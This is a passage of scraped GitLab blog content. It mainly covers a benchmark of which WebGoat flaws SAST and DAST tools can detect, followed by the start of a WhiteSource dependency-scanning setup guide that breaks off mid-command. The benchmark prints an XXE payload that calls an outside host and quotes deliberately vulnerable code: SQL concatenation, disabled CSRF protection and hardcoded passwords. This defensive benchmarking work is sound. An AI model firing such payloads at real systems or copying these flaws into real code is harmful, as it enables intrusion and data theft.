   Contact expl = (Contact) xstream.fromXML(payload);\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nMost likely the SAST tool would *not* trigger on the exact line, but would be used in combination with a dependency scanning tool to identify the vulnerable `Xstream` component. It may also model the `Xstream` library to determine if XXE injection attacks are possible.\n\n**DAST Reasoning:**\n\nA DAST tool may not attempt XML attacks since the form gives no hint that the expected form should POST as XML; the default content-type is `application/x-www-form-urlencoded; charset=UTF-8` with the parameter name of `payload`. However some DAST tools may attempt XXE attacks in all parameter value types, regardless of content-type.\n\n**Example Attack:** \n- `payload=\u003C?xml version=\"1.0\"?>\u003C!DOCTYPE text [\u003C!ENTITY xxe SYSTEM \"http://192.168.2.249:9090/test\">]>\u003Ccomment>\u003Ctext>&xxe;\u003C/text>\u003C/comment>`\n\n---\n\n\u003C/details>\n\n## (A8:2013) Request Forgeries\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A8:2013) Request Forgeries > Cross-Site Request Forgeries > Basic Get CSRF Exercise\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/CSRF.lesson/2\n\n**Source:** \n- webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFConfirmFlag1.java\n- webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFGetFlag.java\n- webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java\n\n**Lesson:**\n\nThis lesson demonstrates exploiting a form that is not protected by anti-CSRF measures.\n\n```\nwebgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFGetFlag.java#L49-51\n\n@RequestMapping(path = \"/csrf/basic-get-flag\", produces = {\"application/json\"}, method = RequestMethod.POST)\n@ResponseBody\npublic Map\u003CString, Object> invoke(HttpServletRequest req) {\n    ...\n\nwebgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFConfirmFlag1.java#L45-47\n\n@PostMapping(path = \"/csrf/confirm-flag-1\", produces = {\"application/json\"})\n@ResponseBody\npublic AttackResult completed(String confirmFlagVal) {\n...\n\nwebgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java#L72\n    ...\n    security.and().csrf().disable();\n    ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nProvided the target web framework has been modeled, it should contain signatures to determine that the service has been configured with anti-CSRF protections enabled. Depending on the framework, it may also look at each individual request mapping to determine vulnerability. In this case the `WebSecurityConfig.java` explicitly disabled CSRF protections. \n\n**DAST Reasoning:**\n\nDAST tools usually look at the `\u003Cform>` tag definition and try to identify any \"CSRF like\" tokens exist in parameters. Some DAST tools may also inspect the request itself to identify anti-CSRF tokens. Most DAST tools will likely flag both the `/WebGoat/csrf/basic-get-flag` and `/WebGoat/csrf/confirm-flag-1` as being vulnerable.\n\n---\n\n### (A8:2013) Request Forgeries > Cross-Site Request Forgeries > Post a review on someone else’s behalf\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/CSRF.lesson/3\n\n**Source:** \n- webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/ForgedReviews.java\n- webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java\n\n**Lesson:**\n\nThis lesson demonstrates exploiting a form that includes a weak form of anti-CSRF measures, as the CSRF token is a hardcoded value. \n\n```\nwebgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/ForgedReviews.java#L78-102\n\npublic AttackResult createNewReview(String reviewText, Integer stars, String validateReq, HttpServletRequest request) {\n    final String host = (request.getHeader(\"host\") == null) ? \"NULL\" : request.getHeader(\"host\");\n    final String referer = (request.getHeader(\"referer\") == null) ? \"NULL\" : request.getHeader(\"referer\");\n    final String[] refererArr = referer.split(\"/\");\n\n    Review review = new Review();\n    review.setText(reviewText);\n    review.setDateTime(DateTime.now().toString(fmt));\n    review.setUser(webSession.getUserName());\n    review.setStars(stars);\n    var reviews = userReviews.getOrDefault(webSession.getUserName(), new ArrayList\u003C>());\n    reviews.add(review);\n    userReviews.put(webSession.getUserName(), reviews);\n    //short-circuit\n    if (validateReq == null || !validateReq.equals(weakAntiCSRF)) {\n        return failed(this).feedback(\"csrf-you-forgot-something\").build();\n    }\n    //we have the spoofed files\n    if (referer != \"NULL\" && refererArr[2].equals(host)) {\n        return failed(this).feedback(\"csrf-same-host\").build();\n    } else {\n        return success(this).feedback(\"csrf-review.success\").build(); //feedback(\"xss-stored-comment-failure\")\n    }\n}\n\nwebgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java#L72\n    ...\n    security.and().csrf().disable();\n    ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nProvided the target web framework has been modeled it should contain signatures to determine that the service has been configured with anti-CSRF protections enabled. Depending on the framework it may also look at each individual request mapping to determine vulnerability. In this case the `WebSecurityConfig.java` explicitly disabled CSRF protections. Most likely a SAST tool will completely ignore the hard coded value check.\n\n**DAST Reasoning:**\n\nDAST tools usually look at the `\u003Cform>` tag definition and try to identify any \"CSRF like\" tokens exist in parameters. Some DAST tools may also inspect the request itself to identify anti-CSRF tokens. In this case a DAST tool may be confused by the seemingly configured CSRF token, when in reality the value is hard coded. A DAST tool will need to do an active request and compare the results to see if the CSRF token is ever updated/changed.\n\n---\n\n### (A8:2013) Request Forgeries > Cross-Site Request Forgeries > CSRF and content-type\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/CSRF.lesson/6\n\n**Source:** \n- webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFFeedback.java\n- webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java\n\n**Lesson:**\n\nThis lesson demonstrates exploiting a CSRF vulnerable form that calls an endpoint which doesn't validate the content-type properly. Newer browsers will append a `=` to the end of `text/plain` forms where only the name value exists. This form is still vulnerable to CSRF if attackers use `XMLHttpRequest` or `navigator.sendBeacon`.\n\n```\nwebgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFFeedback.java#L57-74\n\npublic AttackResult completed(HttpServletRequest request, @RequestBody String feedback) {\n        try {\n            objectMapper.enable(DeserializationFeature.FAIL_ON_IGNORED_PROPERTIES);\n            objectMapper.enable(DeserializationFeature.FAIL_ON_NULL_FOR_PRIMITIVES);\n            objectMapper.enable(DeserializationFeature.FAIL_ON_NUMBERS_FOR_ENUMS);\n            objectMapper.enable(DeserializationFeature.FAIL_ON_READING_DUP_TREE_KEY);\n            objectMapper.enable(DeserializationFeature.FAIL_ON_MISSING_CREATOR_PROPERTIES);\n            objectMapper.enable(DeserializationFeature.FAIL_ON_TRAILING_TOKENS);\n            objectMapper.readValue(feedback.getBytes(), Map.class);\n        } catch (IOException e) {\n            return failed(this).feedback(ExceptionUtils.getStackTrace(e)).build();\n        }\n        boolean correctCSRF = requestContainsWebGoatCookie(request.getCookies()) && request.getContentType().contains(MediaType.TEXT_PLAIN_VALUE);\n        correctCSRF &= hostOrRefererDifferentHost(request);\n        if (correctCSRF) {\n            String flag = UUID.randomUUID().toString();\n            userSessionData.setValue(\"csrf-feedback\", flag);\n            return success(this).feedback(\"csrf-feedback-success\").feedbackArgs(flag).build();\n    ...\n\nwebgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java#L72\n    ...\n    security.and().csrf().disable();\n    ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nProvided the target web framework has been modeled it should contain signatures to determine that the service has been configured with anti-CSRF protections enabled. Depending on the framework it may also look at each individual request mapping to determine vulnerability. In this case the `WebSecurityConfig.java` explicitly disabled CSRF protections. \n\n**DAST Reasoning:**\n\nDAST tools usually look at the `\u003Cform>` tag definition and try to identify any \"CSRF like\" tokens exist in parameters. Some DAST tools may also inspect the request itself to identify anti-CSRF tokens. In this case a DAST tool would treat this form the same as any other and flag it as vulnerable to CSRF regardless of content-type.\n\n---\n\n### (A8:2013) Request Forgeries > Cross-Site Request Forgeries > Login CSRF attack\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/CSRF.lesson/7\n\n**Source:** \n- webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFLogin.java\n- webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java\n\n**Lesson:**\n\nThis lesson demonstrates exploiting a CSRF vulnerable form to force a victim to login under the attackers account.\n\n```\nwebgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFLogin.java#50-57\n\npublic AttackResult completed(HttpServletRequest request) {\n    String userName = request.getUserPrincipal().getName();\n    if (userName.startsWith(\"csrf\")) {\n        markAssignmentSolvedWithRealUser(userName.substring(\"csrf-\".length()));\n        return success(this).feedback(\"csrf-login-success\").build();\n    }\n    return failed(this).feedback(\"csrf-login-failed\").feedbackArgs(userName).build();\n}\n\nwebgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java#L72\n    ...\n    security.and().csrf().disable();\n    ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nProvided the target web framework has been modeled it should contain signatures to determine that the service has been configured with anti-CSRF protections enabled. Depending on the framework it may also look at each individual request mapping to determine vulnerability. In this case the `WebSecurityConfig.java` explicitly disabled CSRF protections. \n\n**DAST Reasoning:**\n\nDAST tools usually look at the `\u003Cform>` tag definition and try to identify any \"CSRF like\" tokens exist in parameters. Some DAST tools may also inspect the request itself to identify anti-CSRF tokens. In this case a DAST tool would treat this form the same as any other and flag it as vulnerable to CSRF.\n\n---\n\n### (A8:2013) Request Forgeries > Server-Side Request Forgery > Change the URL to display Jerry\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SSRF.lesson/1\n\n**Source:** \n- webgoat-lessons/ssrf/src/main/java/org/owasp/webgoat/ssrf/SSRFTask1.java\n\n**Lesson:**\n\nThis lesson does not contain a real vulnerability, it is only for demonstration purposes for modifying parameters.\n\n```\nwebgoat-lessons/ssrf/src/main/java/org/owasp/webgoat/ssrf/SSRFTask1.java#44-66\n\nprotected AttackResult stealTheCheese(String url) {\n    try {\n        StringBuffer html = new StringBuffer();\n\n        if (url.matches(\"images/tom.png\")) {\n            html.append(\"\u003Cimg class=\\\"image\\\" alt=\\\"Tom\\\" src=\\\"images/tom.png\\\" width=\\\"25%\\\" height=\\\"25%\\\">\");\n            return failed(this)\n                    .feedback(\"ssrf.tom\")\n                    .output(html.toString())\n                    .build();\n        } else if (url.matches(\"images/jerry.png\")) {\n            html.append(\"\u003Cimg class=\\\"image\\\" alt=\\\"Jerry\\\" src=\\\"images/jerry.png\\\" width=\\\"25%\\\" height=\\\"25%\\\">\");\n            return success(this)\n                    .feedback(\"ssrf.success\")\n                    .output(html.toString())\n                    .build();\n        } else {\n            html.append(\"\u003Cimg class=\\\"image\\\" alt=\\\"Silly Cat\\\" src=\\\"images/cat.jpg\\\">\");\n            return failed(this)\n                    .feedback(\"ssrf.failure\")\n                    .output(html.toString())\n                    .build();\n        }\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThis endpoint does not contain any SSRF issues, it simply does a string match and returns different results.\n\n**DAST Reasoning:**\n\nThis endpoint does not contain any SSRF issues.\n\n---\n\n### (A8:2013) Request Forgeries > Server-Side Request Forgery > \n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SSRF.lesson/2\n\n**Source:** \n- webgoat-lessons/ssrf/src/main/java/org/owasp/webgoat/ssrf/SSRFTask2.java\n\n**Lesson:**\n\nThis lesson is for exploiting SSRF but limits the user to a single URL that must exactly match `http://ifconfig.pro`.\n\n```\nwebgoat-lessons/ssrf/src/main/java/org/owasp/webgoat/ssrf/SSRFTask2.java#L49-74\n\nprotected AttackResult furBall(String url) {\n        try {\n            StringBuffer html = new StringBuffer();\n\n            if (url.matches(\"http://ifconfig.pro\")) {\n                URL u = new URL(url);\n                URLConnection urlConnection = u.openConnection();\n                BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));\n                String inputLine;\n\n                while ((inputLine = in.readLine()) != null) {\n                    html.append(inputLine);\n                }\n                in.close();\n\n                return success(this)\n                        .feedback(\"ssrf.success\")\n                        .output(html.toString())\n                        .build();\n            } else {\n                html.append(\"\u003Cimg class=\\\"image\\\" alt=\\\"image post\\\" src=\\\"images/cat.jpg\\\">\");\n                return failed(this)\n                        .feedback(\"ssrf.failure\")\n                        .output(html.toString())\n                        .build();\n            }\n\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nA SAST tool may report that this endpoint is vulnerable due to the user provided `url` parameter being used in a `URLConnection.openConnection()` call. In reality, this is not an exploitable flaw since the URL must exactly match `http://ifconfig.pro`\n\n**DAST Reasoning:**\n\nA DAST tool attempting SSRF injection attacks will most likely use a callback server to receive a forced request from the target application. Since the value is technically hardcoded, there is no way for a DAST tool to know if the endpoint is using a user provided value in construction of the `URLConnection.openConnection()` call.\n\n---\n\u003C/details>\n\n## Client side\n\n---\n\nThese lessons are just demonstrations of bypassing client side restrictions – since there is no real business logic to exploit they do not contain any real exploitable flaws. \n\n---\n\n## Challenges\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### Challenges > Admin lost password\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/Challenge1.lesson/1\n\n**Source:** \n- webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge1/Assignment1.java\n- webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge1/ImageServlet.java\n- webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/SolutionConstants.java\n\n**Challenge:**\n\nThe purpose of this challenge is to find the hidden pin code embedded in the logo and replace the hardcoded password's 1234 with the value. \n\n```\n\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge1/ImageServlet.java#L23-37\n\nprotected void doGet(HttpServletRequest request, HttpServletResponse response)\n        throws ServletException, IOException {\n\n    byte[] in = new ClassPathResource(\"images/webgoat2.png\").getInputStream().readAllBytes();\n\n    String pincode = String.format(\"%04d\", PINCODE);\n\n    in[81216]=(byte) pincode.charAt(0);\n    in[81217]=(byte) pincode.charAt(1);\n    in[81218]=(byte) pincode.charAt(2);\n    in[81219]=(byte) pincode.charAt(3);\n\n    response.setContentType(MediaType.IMAGE_PNG_VALUE);\n    FileCopyUtils.copy(in, response.getOutputStream());\n}\n\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/SolutionConstants.java#L34-36\n\nString PASSWORD = \"!!webgoat_admin_1234!!\";\nString PASSWORD_TOM = \"thisisasecretfortomonly\";\nString ADMIN_PASSWORD_LINK = \"375afe1104f4a487a73823c50a9292a2\";\n```\n\n**Can SAST Find?** \n- Possible (different issue)\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThere is no real vulnerability here for a SAST tool to alert on that would match the purpose of the assignment. However, SAST tools will most likely flag hardcoded credentials in `SolutionConstants.java`.\n\n**DAST Reasoning:**\n\nThere is no real vulnerability here for a DAST tool to alert on that would match the purpose of the assignment. \n\n---\n\n### Challenges > Without password\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/Challenge5.lesson\n\n**Source:** \n- webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\n\n**Challenge:**\n\nThe purpose of this challenge is to login as `Larry` without knowing his password. This can be achieved by exploiting a SQL Injection vulnerability. \n\n```\n\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java#L51-68\n\npublic AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {\n        if (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) {\n            return failed(this).feedback(\"required4\").build();\n        }\n        if (!\"Larry\".equals(username_login)) {\n            return failed(this).feedback(\"user.not.larry\").feedbackArgs(username_login).build();\n        }\n        try (var connection = dataSource.getConnection()) {\n            PreparedStatement statement = connection.prepareStatement(\"select password from challenge_users where userid = '\" + username_login + \"' and password = '\" + password_login + \"'\");\n            ResultSet resultSet = statement.executeQuery();\n\n            if (resultSet.next()) {\n                return success(this).feedback(\"challenge.solved\").feedbackArgs(Flag.FLAGS.get(5)).build();\n            } else {\n                return failed(this).feedback(\"challenge.close\").build();\n            }\n        }\n    }\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nWhile the SQL query is a prepared statement, `username_login` and `password_login` fields are dynamically inserted into the query statement. A SAST tool should identify that the query string is concatenated with user input on line 59.\n\n**DAST Reasoning:**\n\nA DAST tool would most likely not find this vulnerability due to the username being checked against the hardcoded `Larry` value. A DAST tool would need to be configured for this particular page to use the `Larry` username, and then attempt SQL Injection.\n\n---\n\n### Challenges > Admin password reset\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/Challenge7.lesson\n\n**Source:** \n- webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/Assignment7.java\n\n**Challenge:**\n\nThe purpose of this challenge is to find the synthetic `.git` repository accessible at the `/WebGoat/challenge/7/.git` endpoint. Then extract the git files, decompile classes and run them to generate the password reset link password. \n\n```\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/Assignment7.java#L76-80\n\n@GetMapping(value = \"/challenge/7/.git\", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)\n@ResponseBody\npublic ClassPathResource git() {\n    return new ClassPathResource(\"challenge7/git.zip\");\n}\n\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/SolutionConstants.java#L34-36\n\nString PASSWORD = \"!!webgoat_admin_1234!!\";\nString PASSWORD_TOM = \"thisisasecretfortomonly\";\nString ADMIN_PASSWORD_LINK = \"375afe1104f4a487a73823c50a9292a2\";\n```\n\n**Can SAST Find?** \n- Possible (different issue)\n\n**Can DAST Find?**\n- Possible (different issue)\n\n**SAST Reasoning:**\n\nThis is a fake vulnerability that hard codes a git index file to a spring `GetMapping` endpoint. However, a SAST tool would most likely flag the hardcoded credentials in `SolutionConstants.java` on line 36.\n\n**DAST Reasoning:**\n\nDAST tools commonly look for backup or known files, `.git` is usually ne of them. A DAST tool would attempt to find these files in each directory path and should report that the `/WebGoat/challenge/7/.git` git index is accessible. While it may attempt to decompile classes it would be unable to know that it's necessary to run a particular file.\n\n---\n\n### Challenges > Without account\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/Challenge8.lesson\n\n**Source:** \n- webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge8/Assignment8.java\n\n**Challenge:**\n\nThe purpose of this challenge is to add a vote without logging in. This is a synthetic vulnerability due to the fact that it only checks if the request is a `GET` request but there's no real authorization checks. It is \"exploitable\" because it does not account for `HEAD` request method types.\n\n```\n\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/Assignment7.java#L76-80\n\n@GetMapping(value = \"/challenge/8/vote/{stars}\", produces = MediaType.APPLICATION_JSON_VALUE)\n    @ResponseBody\n    public ResponseEntity\u003C?> vote(@PathVariable(value = \"stars\") int nrOfStars, HttpServletRequest request) {\n        //Simple implementation of VERB Based Authentication\n        String msg = \"\";\n        if (request.getMethod().equals(\"GET\")) {\n            var json = Map.of(\"error\", true, \"message\", \"Sorry but you need to login first in order to vote\");\n            return ResponseEntity.status(200).body(json);\n        }\n        Integer allVotesForStar = votes.getOrDefault(nrOfStars, 0);\n        votes.put(nrOfStars, allVotesForStar + 1);\n        return ResponseEntity.ok().header(\"X-Flag\", \"Thanks for voting, your flag is: \" + Flag.FLAGS.get(8)).build();\n    }\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nSince this is a synthetic vulnerability with no references to any authorization frameworks, there is nothing for a SAST tool to look for.\n\n**DAST Reasoning:**\n\nA DAST tool may attempt to switch request method types and do differential analysis to see if a `HEAD` request illicit a different response than a `GET` request.\n\n---\n\n\u003C/details>\n\n## Flaws outside of lessons\n\nThere are a large number of flaws that are not necessarily part of the lesson. However, SAST and DAST tools may still report on these issues as they are exploitable. \n\nSince tools will report on these issues, it is important to have a full set of all actual vulnerabilities that exist in WebGoat, or in any system used for benchmarking. \n\n## Conclusion\n\nWhile in GitLab's proprietary format, we decided to release our results so that other organizations using WebGoat as a target can identify which flaws are legitimate for both [SAST](https://gitlab.com/gitlab-org/vulnerability-research/blog/-/blob/master/security-benchmarking-webgoat/webgoat-expected-sast-results.json) and [DAST](https://gitlab.com/gitlab-org/vulnerability-research/blog/-/blob/master/security-benchmarking-webgoat/webgoat-expected-dast-results.json) based discovery. \n\nWebGoat is an excellent tool for learning about web application security. If your organization decides to use it to compare DAST and SAST tools you must be aware of the limitations and caveats during your analysis. \n\nWebGoat is by no means a \"real application\", while it does contain a common structure of a Spring Boot based application, its flaws are sometimes synthetic and code flow is not indicative of how real applications are built.\n\nGitLab recommends using more than one application as apart of your benchmarking process. This should include multiple languages, features and the levels of complexity that matches the applications used in your organization.\n\nCover image by [Bannon Morrissy](https://unsplash.com/@bannon15) on [Unsplash](https://unsplash.com)",[674,2952,942],{"slug":22325,"featured":6,"template":678},"how-to-benchmark-security-tools","content:en-us:blog:how-to-benchmark-security-tools.yml","How To Benchmark Security Tools","en-us/blog/how-to-benchmark-security-tools.yml","en-us/blog/how-to-benchmark-security-tools",{"_path":22331,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22332,"content":22338,"config":22343,"_id":22345,"_type":16,"title":22346,"_source":17,"_file":22347,"_stem":22348,"_extension":20},"/en-us/blog/whitesource-for-dependency-scanning",{"title":22333,"description":22334,"ogTitle":22333,"ogDescription":22334,"noIndex":6,"ogImage":22335,"ogUrl":22336,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22336,"schema":22337},"How to secure your dependencies with GitLab and WhiteSource","We walk you through how to configure WhiteSource in your GitLab instance to enhance your application security.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663445/Blog/Hero%20Images/snowymtns.jpg","https://about.gitlab.com/blog/whitesource-for-dependency-scanning","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to secure your dependencies with GitLab and WhiteSource\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2020-08-10\",\n      }",{"title":22333,"description":22334,"authors":22339,"heroImage":22335,"date":22340,"body":22341,"category":674,"tags":22342},[1622],"2020-08-10","\nGitLab's WhiteSouce integration empowers developers to enhance application security\ndirectly within the GitLab UI. The integration provides dependency scanning with\nin-depth analysis, along with actionable insights, and auto-remediation. WhiteSource for\nGitLab enhances your team's productivity, security, and compliance.\n\n[Rhys Arkins](https://twitter.com/rarkins?lang=en), Product Director at WhiteSource, and I hosted a webinar on \"[Harnessing development to scale AppSec](/webcast/scalable-secure-ci/)\"\nshowcasing the features of GitLab's WhiteSource integration for open source dependency scanning.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n\u003Ciframe src=\"https://www.youtube-nocookie.com/embed/yJpE_ACt9og\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nThis blog post will guide you through setting up WhiteSource in your private GitLab instance\nand show you how the integration with WhiteSource enhances your application's security within GitLab.\n\n## Installing the WhiteSource integration\n\nFirst, let's go over how to install the WhiteSource integration. In this section, I will review how to\nset up GitLab service credentials, generate a WhiteSource configuration,\nbuild WhiteSource containers, and how to run them in a Kubernetes cluster.\n\n### Requirements for WhiteSource integration\n\nBut first, the WhiteSource integration requires that you have the following setup:\n\n- [GitLab on-prem instance](/pricing/#self-managed): The GitLab instance where the WhiteSource integration will run.\n- [WhiteSource account](https://www.whitesourcesoftware.com/whitesource-pricing/): Provides access to the WhiteSource integration.\n- [Kubernetes cluster](/solutions/kubernetes/): Deploys the WhiteSource containers.\n\n### Create GitLab service credentials\n\nThe next step is to create GitLab service credentials. This can be accomplished in three simple steps:\n\n- In your GitLab instance, go to `Admin Area > System Hooks` and create a system hook as follows:\n    - **URL:** `https://whitesource.INGRESS_URL.com/payload`\n    - **Secret Token:** Make up a token, you can use `openssl rand -base64 12`\n    - **Trigger:** All except `Tag push events`\n    - **Enable SSL Verification:** `Yes`\n\n  Note: Make sure you save the secret token for use in the next section.\n- Create a user named `@whitesource`, with a developer role. An email is not required.\n- As the `@whitesource` user, go to `Settings > Access tokens` and create a personal access token:\n    - **Name:** `WhiteSourceToken`\n    - **Scopes:** `all`\n- Remember to save the access token for use in the next section.\n\n### Generate the WhiteSource configuration\n\nNext, we generate the WhiteSource configuration, which is used to configure the WhiteSource integration containers.\nThis can be done in a few simple steps:\n\n- Login to [WhiteSource](https://saas.whitesourcesoftware.com/Wss/WSS.html#!login) and click on\nthe `Integrate` tab.\n\n![whitesource webpage view](https://about.gitlab.com/images/whitesource-integration/whitesource_webpage_view.png)\nWhiteSource mainpage\n{: .note.text-center}\n\n- Expand the `WhiteSource for GitLab server` bar and fill the following:\n    - **GitLab Server API URL:** `https://GITLAB_SERVER_URL/api/v4`\n    - **GitLab Webhook URL:** `https://whitesource.INGRESS_URL.com/payload`\n    - **GitLab Webhook secret:** Use the same secret generated in GitLab credentials section\n    - **GitLab personal access token:** `@whitesource` user access token\n\n![whitesource integration view](https://about.gitlab.com/images/whitesource-integration/whitesource_integration_setup.png)\nWhiteSource integrations page\n{: .note.text-center}\n\n- Press `Get Activation Key` and copy the generated key\n- Open the [wss-configurator](https://gitlab.com/fjdiaz/whitesource-helm/-/blob/master/whitesource/wss-configuration/index.html) with your browser\n- Select `Export` from the menu, and select the [prop.json](https://gitlab.com/fjdiaz/whitesource-helm/-/blob/master/whitesource/wss-configuration/config/prop.json)\n- Click on the `General` tab\n- Paste the generated key and click `Export` to save a new `prop.json` file\n\n### Build the WhiteSource containers\n\n- Move the generated prop.json from the previous section to [wss-gls-app](https://gitlab.com/fjdiaz/whitesource-helm/-/tree/master/whitesource/wss-gls-app/docker/conf), [wss-remediate](https://gitlab.com/fjdiaz/whitesource-helm/-/tree/master/whitesource/wss-remediate/docker/src), and [wss-scanner](https://gitlab.com/fjdiaz/whitesource-helm/-/tree/master/whitesource/wss-scanner/docker/conf).\n- Build and push the Docker containers:\n\n```bash\n$ docker build -t wss-gls-app:19.12.2 whitesource/wss-gls-app/docker\n$ docker push wss-gls-app:19.12.2\n\n$ docker build -t wss-scanner:19.12.1.2 whitesource/wss-scanner/docker\n$ docker push wss-scanner:19.12.1.2\n\n$ docker build -t wss-remediate:19.12.2 whitesource/wss-remediate/docker\n$ docker push wss-remediate:19.12.2\n```\n\n### Running the WhiteSource containers\n\nGitLab provides native Kubernetes cluster integration. This means that GitLab allows you\nto deploy software from [GitLab CI/CD](/topics/ci-cd/) pipelines directly to your Kubernetes cluster.\n\nWhiteSource containers can be deployed and managed within the same Kubernetes cluster\nused to deploy your application, all by running a simple Helm commands.\n\n- Download the WhiteSource [Helm chart](https://gitlab.com/fjdiaz/whitesource-helm)\n- Edit [values.yaml](https://gitlab.com/fjdiaz/whitesource-helm/-/blob/master/helm/whitesource/values.yaml)\n- In vaules.yaml set `whitesource.ingress` to **https://whitesource.INGRESS_URL.com**\n\nYou can get the INGRESS_URL from your Kubernetes cluster settings\n\n![ingress url location](https://about.gitlab.com/images/whitesource-integration/base_domain.png)\nIngress URL location\n{: .note.text-center}\n\n- Make sure Ingress is installed.\n\n![ingress installation](https://about.gitlab.com/images/whitesource-integration/ingress_installation.png)\nInstalling Ingress\n{: .note.text-center}\n\n- Install [Helm](https://helm.sh/docs/intro/install/)\n- Deploy WhiteSource with Helm template:\n\n```bash\nhelm upgrade -f helm/whitesource/values.yaml --install whitesource-gitlab ./helm/whitesource\n```\n\n## Using WhiteSource\n\nOnce the WhiteSource plugin has been installed we can add the `@whitesource` user to the repositories\nwe wish to scan. A merge request (MR) with the `.whitesource` file will be generated automatically.\n\nWhiteSource will now scan your repository and generate issues for all the vulnerabilities discovered on the main (master)\nbranch. These issues will provide detailed information on the vulnerability as well as how to resolve it. Some issues\ncan even be auto-remediated.\n\n![whitesource issue view](https://about.gitlab.com/images/whitesource-integration/whitesource_issues.png)\nWhiteSource vulnerability issues\n{: .note.text-center}\n\nEach time a new MR is pushed, a WhiteSource scan will run, and provide a detailed output.\n\n![whitesource merge request view](https://about.gitlab.com/images/whitesource-integration/whitesource_merge_requests.png)\nWhiteSource MR scanning\n{: .note.text-center}\n\nEach link provided by WhiteSource shows detailed information on the vulnerabilities the scan detected:\n\n![whitesource web links](https://about.gitlab.com/images/whitesource-integration/whitesource_advanced_issues.png)\nWhiteSource vulnerability information\n{: .note.text-center}\n\nWhiteSource can be integrated into the [GitLab Security Dashboard](https://docs.gitlab.com/ee/user/application_security/security_dashboard/) so that your security team can manage the\nstatus of these vulnerabilites. Access to the Security Dashboard requires a [GitLab Ultimate account](/pricing/ultimate/).\n\nFor integrating WhiteSource to the Security Dashboard, add the following to the CI.yaml:\n\n```\nwhitesource-security-publisher:\n  image: openjdk:8-jdk\n  when: manual\n  script:\n    - curl 